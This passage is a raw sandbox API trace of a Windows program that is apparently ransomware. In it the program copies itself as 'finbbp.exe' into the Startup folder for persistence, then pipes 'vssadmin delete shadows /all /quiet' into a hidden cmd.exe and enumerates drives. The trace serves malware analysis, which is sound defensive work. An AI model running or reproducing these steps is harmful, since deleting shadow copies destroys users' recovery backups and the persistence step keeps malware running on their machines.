hHeap=0x4e0000, dwFlags=0x0, lpMem=0x545140 | out: hHeap=0x4e0000) returned 1 [0282.286] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x23cb020 [0282.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522788 [0282.289] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522788, Size=0x20) returned 0x51d850 [0282.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522920 [0282.289] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522920, Size=0x20) returned 0x51d580 [0282.289] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.289] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.289] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0282.289] lstrlenW (lpString="kernel32.dll") returned 12 [0282.289] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d850 | out: hHeap=0x4e0000) returned 1 [0282.289] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.289] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.289] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0282.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0282.439] ReadFile (in: hFile=0x244, lpBuffer=0x23cb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23cb020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0282.452] WriteFile (in: hFile=0x248, lpBuffer=0x23cb020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23cb020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0282.469] ReadFile (in: hFile=0x244, lpBuffer=0x23cb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23cb020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0282.469] CloseHandle (hObject=0x248) returned 1 [0282.544] CloseHandle (hObject=0x244) returned 1 [0282.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522a28 [0282.545] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522a28, Size=0x20) returned 0x51d4e0 [0282.545] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522800 [0282.545] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522800, Size=0x20) returned 0x51d8c8 [0282.545] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.545] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.545] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0282.545] lstrlenW (lpString="kernel32.dll") returned 12 [0282.545] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8c8 | out: hHeap=0x4e0000) returned 1 [0282.545] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.545] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d4e0 | out: hHeap=0x4e0000) returned 1 [0282.545] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x23cb020 | out: hHeap=0x4e0000) returned 1 [0282.551] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x545140 [0282.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x555148 [0282.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522980 [0282.552] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522980, Size=0x20) returned 0x51d440 [0282.552] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d440, Size=0x40) returned 0x4f7c08 [0282.552] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7c08, Size=0x80) returned 0x523168 [0282.552] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523168, Size=0x100) returned 0x523168 [0282.552] lstrlenW (lpString="") returned 0 [0282.552] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.552] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8c) returned 0x523270 [0282.552] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0282.552] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x555148, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0282.552] RegCloseKey (hKey=0x244) returned 0x0 [0282.552] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523270 | out: hHeap=0x4e0000) returned 1 [0282.552] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0282.552] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.553] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523168 | out: hHeap=0x4e0000) returned 1 [0282.553] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x545140, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x48 [0282.553] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555148 | out: hHeap=0x4e0000) returned 1 [0282.553] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x545140 | out: hHeap=0x4e0000) returned 1 [0282.554] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x23cc020 [0282.557] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522830 [0282.557] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522830, Size=0x20) returned 0x51d828 [0282.557] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522860 [0282.557] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522860, Size=0x20) returned 0x51d698 [0282.557] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.557] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.557] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0282.557] lstrlenW (lpString="kernel32.dll") returned 12 [0282.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d828 | out: hHeap=0x4e0000) returned 1 [0282.557] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.557] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d698 | out: hHeap=0x4e0000) returned 1 [0282.557] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0282.557] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.558] CloseHandle (hObject=0x244) returned 1 [0282.558] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522860 [0282.558] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522860, Size=0x20) returned 0x51d580 [0282.558] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522770 [0282.558] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522770, Size=0x20) returned 0x51d710 [0282.558] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.558] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.558] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0282.558] lstrlenW (lpString="kernel32.dll") returned 12 [0282.558] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d710 | out: hHeap=0x4e0000) returned 1 [0282.558] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.558] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.558] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x23cc020 | out: hHeap=0x4e0000) returned 1 [0282.561] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x524928 | out: hHeap=0x4e0000) returned 1 [0282.561] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534930 | out: hHeap=0x4e0000) returned 1 [0282.562] lstrlenW (lpString="%windir%\\System32") returned 17 [0282.562] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7860 | out: hHeap=0x4e0000) returned 1 [0282.562] lstrlenW (lpString="%appdata%") returned 9 [0282.562] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d648 | out: hHeap=0x4e0000) returned 1 [0282.562] lstrlenW (lpString="%sh(Startup)%") returned 13 [0282.562] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d670 | out: hHeap=0x4e0000) returned 1 [0282.562] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0282.562] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f79c8 | out: hHeap=0x4e0000) returned 1 [0282.562] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522968 [0282.562] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522968, Size=0x20) returned 0x51d7d8 [0282.562] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d7d8, Size=0x40) returned 0x4f7548 [0282.562] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7548, Size=0x80) returned 0x523168 [0282.562] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5228d8 [0282.562] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5228d8, Size=0x20) returned 0x51d7d8 [0282.562] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1fffc) returned 0x524928 [0282.563] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x545140 [0282.600] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x555148 [0282.600] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522860 [0282.600] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522860, Size=0x20) returned 0x51d468 [0282.600] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d468, Size=0x40) returned 0x4f7668 [0282.600] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7668, Size=0x80) returned 0x5231f0 [0282.600] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5231f0, Size=0x100) returned 0x5231f0 [0282.600] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5231f0 | out: hHeap=0x4e0000) returned 1 [0282.600] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x545140, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0282.600] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555148 | out: hHeap=0x4e0000) returned 1 [0282.601] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x545140 | out: hHeap=0x4e0000) returned 1 [0282.601] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0282.602] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0282.602] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0282.602] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0282.602] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x368, dwThreadId=0x38c)) returned 1 [0282.662] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0282.662] WriteFile (in: hFile=0x24c, lpBuffer=0x523168*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x523168*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0282.662] CloseHandle (hObject=0x25c) returned 1 [0282.662] CloseHandle (hObject=0x258) returned 1 [0282.662] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x524928 | out: hHeap=0x4e0000) returned 1 [0282.663] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0282.663] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523168 | out: hHeap=0x4e0000) returned 1 [0282.663] lstrlenW (lpString="%comspec%") returned 9 [0282.663] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d7d8 | out: hHeap=0x4e0000) returned 1 [0282.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0282.664] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5227d0 [0282.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5227d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0282.664] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dc88 [0282.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x51dc88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0282.665] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522980 [0282.665] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x522980, Size=0x20) returned 0x51d760 [0282.665] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d760, Size=0x40) returned 0x4f7590 [0282.665] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0282.665] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xd0) returned 0x4fa7a0 [0282.665] GetLogicalDrives () returned 0x4 [0282.665] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10014) returned 0x524928 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5227e8 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5227e8, Size=0x20) returned 0x51d4e0 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d4e0, Size=0x40) returned 0x4f79c8 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f79c8, Size=0x80) returned 0x523168 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523168, Size=0x100) returned 0x523280 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523280, Size=0x200) returned 0x523280 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523280, Size=0x400) returned 0x534948 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x534948, Size=0x800) returned 0x534948 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x534948, Size=0x1000) returned 0x534948 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x545140 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5227e8 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x522920 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x51dcb8 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x522800 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x51dd18 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522a28 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dd18, Size=0x8) returned 0x51dca8 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5228d8 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dca8, Size=0x10) returned 0x5228a8 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522740 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5228c0 [0282.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5228a8, Size=0x20) returned 0x51d4e0 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522968 [0282.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dd18 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x522770 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x522818 [0282.667] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d4e0, Size=0x40) returned 0x4f7ae8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x522788 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x522938 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x522908 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x5227b8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522830 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522950 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dd58 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522860 [0282.667] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7ae8, Size=0x80) returned 0x523168 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522890 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5228a8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522980 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522998 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522ae8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x522ab8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522a88 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51ddc8 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522aa0 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522b00 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x522ad0 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522a70 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x522a40 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x522a58 [0282.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535aa0 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b48 [0282.668] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523168, Size=0x100) returned 0x523280 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c38 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c50 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c08 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5359e0 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c20 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c68 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51ddd8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ba8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535998 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ab8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x51dd28 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535a88 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ad0 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dc48 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535980 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b78 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5359b0 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5359c8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5359f8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535a40 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x535a10 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ae8 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x535a28 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b90 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b00 [0282.668] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535bc0 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b18 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dca8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b30 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535a58 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535bd8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535b60 [0282.669] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523280, Size=0x200) returned 0x523280 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535bf0 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dde8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535a70 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535d28 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535d88 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f20 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c80 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535d40 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f38 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ce0 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535c98 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535e48 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 